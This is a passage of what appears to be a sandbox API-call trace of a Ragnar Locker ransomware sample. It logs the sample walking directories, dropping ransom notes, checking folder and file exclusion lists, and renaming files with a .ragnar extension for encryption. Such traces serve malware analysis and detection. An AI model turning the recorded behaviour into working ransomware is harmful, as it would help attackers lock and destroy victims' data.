cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.861] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x46 [0058.861] lstrcpyW (in: lpString1=0x1eb646, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.861] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.861] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.861] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75534220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0058.861] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0058.861] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2=".") returned 1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="..") returned 1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Windows") returned -1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Windows.old") returned -1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Tor browser") returned -1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Internet Explorer") returned 1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Google") returned 1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Opera") returned -1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Opera Software") returned -1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Mozilla") returned 1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="Mozilla Firefox") returned 1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="$Recycle.Bin") returned 1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="ProgramData") returned -1 [0058.861] lstrcmpiW (lpString1="MSInfo", lpString2="All Users") returned 1 [0058.861] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0058.861] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="MSInfo" | out: lpString1="MSInfo") returned="MSInfo" [0058.861] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\" [0058.861] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\" [0058.861] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\RGNR_FD7BD9FC.txt" [0058.861] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.870] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*" [0058.870] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3d [0058.870] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.870] lstrcpyW (in: lpString1=0x1eb220, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0058.870] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.870] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.870] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.870] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.870] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0058.870] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0058.871] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0058.871] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0058.871] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0058.871] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3d [0058.871] lstrcpyW (in: lpString1=0x1eb634, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0058.871] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\" [0058.871] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\" [0058.871] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\RGNR_FD7BD9FC.txt" [0058.871] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.873] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*" [0058.873] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0058.873] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.873] lstrcpyW (in: lpString1=0x1ea754, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.873] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.873] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.873] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.873] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.873] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0058.873] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2=".") returned 1 [0058.873] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="..") returned 1 [0058.873] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.873] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.873] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.873] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0058.873] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.873] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.874] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0058.874] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0058.874] lstrcpyW (in: lpString1=0x1eab68, lpString2="msinfo32.exe.mui" | out: lpString1="msinfo32.exe.mui") returned="msinfo32.exe.mui" [0058.874] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned=".mui" [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="autorun.inf") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="boot.ini") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="bootfont.bin") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="bootsect.bak") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="bootmgr") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="bootmgr.efi") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="bootmgfw.efi") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="desktop.ini") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="iconcache.db") returned 1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="ntldr") returned -1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="ntuser.dat") returned -1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="ntuser.ini") returned -1 [0058.874] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="thumbs.db") returned -1 [0058.874] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.874] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.874] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.874] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.874] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.874] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.874] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0058.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.879] CloseHandle (hObject=0xffffffff) returned 0 [0058.879] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" [0058.879] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.ragnar_FD7BD9FC" [0058.879] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.880] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.880] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0058.880] lstrcpyW (in: lpString1=0x1eab68, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.880] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.880] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.880] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0058.880] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.880] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0058.880] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".") returned 1 [0058.880] lstrcmpiW (lpString1="msinfo32.exe", lpString2="..") returned 1 [0058.880] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.880] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.880] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.880] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0058.880] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0058.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0058.880] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 